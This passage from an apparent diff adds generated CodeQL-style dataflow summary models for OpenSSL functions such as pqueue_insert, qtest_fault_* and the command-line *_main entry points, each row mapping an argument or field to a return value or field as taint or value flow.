"(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_dup", "(const stack_st_X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_x509v3_cache_extensions", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "p_test_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "p_test_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "p_test_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "parse_ca_names", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "parse_yesno", "(const char *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "passwd_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "passwd_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "passwd_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "pitem_new", "(unsigned char *,void *)", "", "Argument[**1]", "ReturnValue[*].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "pitem_new", "(unsigned char *,void *)", "", "Argument[*0]", "ReturnValue[*].Field[*priority]", "value", "dfc-generated"] + - ["", "", True, "pitem_new", "(unsigned char *,void *)", "", "Argument[*1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "pitem_new", "(unsigned char *,void *)", "", "Argument[0]", "ReturnValue[*].Field[*priority]", "taint", "dfc-generated"] + - ["", "", True, "pitem_new", "(unsigned char *,void *)", "", "Argument[1]", "ReturnValue[*].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "pkcs12_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkcs12_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pkcs7_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkcs7_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pkcs8_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkcs8_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id_name]", "value", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id_name]", "taint", "dfc-generated"] + - ["", "", True, "pkey_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkey_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pkeyparam_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkeyparam_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pkeyutl_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkeyutl_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pqueue_find", "(pqueue *,unsigned char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "pqueue_find", "(pqueue *,unsigned char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "pqueue_insert", "(pqueue *,pitem *)", "", "Argument[*1]", "Argument[*0].Field[**items]", "value", "dfc-generated"] + - ["", "", True, "pqueue_insert", "(pqueue *,pitem *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "pqueue_insert", "(pqueue *,pitem *)", "", "Argument[1]", "Argument[*0].Field[*items]", "value", "dfc-generated"] + - ["", "", True, "pqueue_insert", "(pqueue *,pitem *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "pqueue_iterator", "(pqueue *)", "", "Argument[*0].Field[**items]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "pqueue_iterator", "(pqueue *)", "", "Argument[*0].Field[*items]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "pqueue_next", "(piterator *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "pqueue_next", "(piterator *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "pqueue_next", "(piterator *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "pqueue_next", "(piterator *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "pqueue_peek", "(pqueue *)", "", "Argument[*0].Field[**items]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "pqueue_peek", "(pqueue *)", "", "Argument[*0].Field[*items]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "pqueue_pop", "(pqueue *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "pqueue_pop", "(pqueue *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "prime_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "prime_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "prime_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "prime_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "print_bignum_var", "(BIO *,const BIGNUM *,const char *,int,unsigned char *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "print_param_types", "(const char *,const OSSL_PARAM *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "print_verify_detail", "(SSL *,BIO *)", "", "Argument[*0].Field[**tls].Field[**param]", "Argument[*0].Field[**param]", "value", "dfc-generated"] + - ["", "", True, "process_responder", "(OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "pulldown_test_framework", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "putc_unlocked", "(int,FILE *)", "", "Argument[0]", "Argument[*1].Field[**_IO_write_ptr]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_injector", "(QUIC_TSERVER *)", "", "Argument[*0]", "ReturnValue[*].Field[**qtserv]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_injector", "(QUIC_TSERVER *)", "", "Argument[0]", "ReturnValue[*].Field[*qtserv]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_quic_connection", "(QUIC_TSERVER *,SSL *)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_quic_connection_ex", "(QUIC_TSERVER *,SSL *,int)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[**8].Field[*noiseargs]", "Argument[**6].Field[**ch].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[*6]", "Argument[**8].Field[*qtserv]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[0]", "Argument[**6].Field[**ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[0]", "Argument[**6].Field[**engine].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[0]", "Argument[**6].Field[*args].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[5]", "Argument[**8].Field[*noiseargs].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[6]", "Argument[**8].Field[*qtserv]", "taint", "dfc-generated"] + - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] + - ["", "", True, "qtest_fault_delete_extension", "(QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *)", "", "Argument[*0].Field[*handbuflen]", "Argument[*0].Field[**handbuf]", "taint", "dfc-generated"] + - ["", "", True, "qtest_fault_delete_extension", "(QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *)", "", "Argument[*3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "qtest_fault_delete_extension", "(QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "qtest_fault_delete_extension", "(QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "qtest_fault_prepend_frame", "(QTEST_FAULT *,const unsigned char *,size_t)", "", "Argument[*0].Field[*pplainio].Field[*buf_len]", "Argument[*0].Field[*pplainhdr].Field[*len]", "taint", "dfc-generated"] + - ["", "", True, "qtest_fault_prepend_frame", "(QTEST_FAULT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*pplainhdr].Field[*len]", "taint", "dfc-generated"] + - ["", "", True, "qtest_fault_prepend_frame", "(QTEST_FAULT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*pplainio].Field[*buf_len]", "taint", "dfc-generated"] + - ["", "", True, "qtest_fault_resize_datagram", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[*msg].Field[*data_len]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_resize_handshake", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[*handbuflen]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_resize_message", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[**handbuf]", "taint", "dfc-generated"] + - ["", "", True, "qtest_fault_resize_message", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[*handbuflen]", "taint", "dfc-generated"] + - ["", "", True, "qtest_fault_resize_plain_packet", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[*pplainhdr].Field[*len]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_resize_plain_packet", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[*pplainio].Field[*buf_len]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_datagram_listener", "(QTEST_FAULT *,qtest_fault_on_datagram_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***datagramcbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_datagram_listener", "(QTEST_FAULT *,qtest_fault_on_datagram_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**datagramcbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_datagram_listener", "(QTEST_FAULT *,qtest_fault_on_datagram_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*datagramcb]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_datagram_listener", "(QTEST_FAULT *,qtest_fault_on_datagram_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*datagramcbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_hand_enc_ext_listener", "(QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***encextcbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_hand_enc_ext_listener", "(QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**encextcbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_hand_enc_ext_listener", "(QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*encextcb]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_hand_enc_ext_listener", "(QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*encextcbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_handshake_listener", "(QTEST_FAULT *,qtest_fault_on_handshake_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***handshakecbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_handshake_listener", "(QTEST_FAULT *,qtest_fault_on_handshake_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**handshakecbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_handshake_listener", "(QTEST_FAULT *,qtest_fault_on_handshake_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*handshakecb]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_handshake_listener", "(QTEST_FAULT *,qtest_fault_on_handshake_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*handshakecbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_packet_cipher_listener", "(QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***pciphercbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_packet_cipher_listener", "(QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**pciphercbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_packet_cipher_listener", "(QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*pciphercb]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_packet_cipher_listener", "(QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*pciphercbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_packet_plain_listener", "(QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***pplaincbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_packet_plain_listener", "(QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**pplaincbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_packet_plain_listener", "(QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*pplaincb]", "value", "dfc-generated"] + - ["", "", True, "qtest_fault_set_packet_plain_listener", "(QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*pplaincbarg]", "value", "dfc-generated"] + - ["", "", True, "qtest_shutdown", "(QUIC_TSERVER *,SSL *)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "rand_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "rand_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "rand_serial", "(BIGNUM *,ASN1_INTEGER *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "rehash_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "rehash_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "rehash_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "rehash_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "req_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "req_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "req_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ripemd160_block_data_order", "(RIPEMD160_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ripemd160_block_data_order", "(RIPEMD160_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "rsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "rsa_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "rsautl_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "rsautl_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "s2i_ASN1_IA5STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "s2i_ASN1_IA5STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "s2i_ASN1_UTF8STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "s2i_ASN1_UTF8STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "s_client_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "s_client_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "s_time_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "s_time_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "save_serial", "(const char *,const char *,const BIGNUM *,ASN1_INTEGER **)", "", "Argument[*2]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "sd_load", "(const char *,SD *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sd_sym", "(SD,const char *,SD_SYM *)", "", "Argument[*2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sd_sym", "(SD,const char *,SD_SYM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sd_sym", "(SD,const char *,SD_SYM *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sess_id_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "sess_id_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "set_cert_ex", "(unsigned long *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "set_cert_key_stuff", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "set_cert_key_stuff", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*3]", "Argument[*0].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "set_cert_key_stuff", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[3]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "set_cert_stuff", "(SSL_CTX *,char *,char *)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "set_name_ex", "(unsigned long *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "set_up_srp_arg", "(SSL_CTX *,SRP_ARG *,int,int,int)", "", "Argument[3]", "Argument[*1].Field[*msg]", "value", "dfc-generated"] + - ["", "", True, "set_up_srp_arg", "(SSL_CTX *,SRP_ARG *,int,int,int)", "", "Argument[4]", "Argument[*1].Field[*debug]", "value", "dfc-generated"] + - ["", "", True, "set_up_srp_verifier_file", "(SSL_CTX *,srpsrvparm *,char *,char *)", "", "Argument[*2]", "Argument[*1].Field[**vb].Field[**seed_key]", "value", "dfc-generated"] + - ["", "", True, "set_up_srp_verifier_file", "(SSL_CTX *,srpsrvparm *,char *,char *)", "", "Argument[2]", "Argument[*1].Field[**vb].Field[**seed_key]", "taint", "dfc-generated"] + - ["", "", True, "shutdown_ssl_connection", "(SSL *,SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "shutdown_ssl_connection", "(SSL *,SSL *)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "skeyutl_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "skeyutl_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "snprintf", "(char *__restrict__,size_t,const char *__restrict__,...)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "snprintf", "(char *__restrict__,size_t,const char *__restrict__,...)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "spkac_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "spkac_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "sprintf", "(char *__restrict__,const char *__restrict__,...)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sprintf", "(char *__restrict__,const char *__restrict__,...)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_callback_ctrl", "(SSL *,int,..(*)(..))", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[*0]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[*2]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t 